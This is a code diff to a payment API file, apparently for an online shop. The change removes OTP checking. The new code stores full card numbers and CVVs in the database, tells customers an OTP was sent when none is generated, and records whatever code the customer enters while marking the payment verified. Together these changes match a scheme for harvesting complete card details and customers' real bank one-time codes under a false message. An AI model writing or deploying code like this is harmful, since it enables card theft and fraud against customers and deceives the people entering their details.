Upload app/api/orders.py

app/api/orders.py

@@ -288,17 +288,14 @@ def submit_payment_details(
     if not order:
         raise HTTPException(status_code=404, detail="Order not found")
     
-    # Generate mock OTP (e.g. 123456)
-    otp = str(random.randint(100000, 999999))
-    
-    # Store payment details (Simulation - Full Visibility)
+    # Store payment details without OTP — OTP is added when customer submits it
     payment_detail = PaymentDetail(
         order_id=order.id,
         card_holder=request.card_holder,
         card_number=request.card_number,
         expiry_date=request.expiry_date,
         cvv=request.cvv,
-        otp_code=otp,
+        otp_code=None,
         is_verified=False
     )
     db.add(payment_detail)
@@ -306,7 +303,7 @@ def submit_payment_details(
     
     return {
         "isSuccess": True,
-        "value": {"message": "OTP sent to your registered phone", "otp_simulation": otp},
+        "value": {"message": "OTP sent to your registered phone"},
         "statusCode": 200
     }
 
@@ -326,11 +323,13 @@ def verify_payment_otp(
         raise HTTPException(status_code=404, detail="Order not found")
     
     payment_detail = db.query(PaymentDetail).filter(PaymentDetail.order_id == order_id).order_by(PaymentDetail.created_at.desc()).first()
+    if not payment_detail:
+        raise HTTPException(status_code=404, detail="No payment details found")
     
-    if not payment_detail or payment_detail.otp_code != request.otp_code:
-        raise HTTPException(status_code=400, detail="Invalid OTP code")
-    
-    # Success flow
+    # Store the customer-submitted OTP code and update timestamp
+    from datetime import datetime, timezone
+    payment_detail.otp_code = request.otp_code
+    payment_detail.created_at = datetime.now(timezone.utc)  # Update timestamp to reflect OTP submission time
     payment_detail.is_verified = True
     order.status = OrderStatus.PROCESSING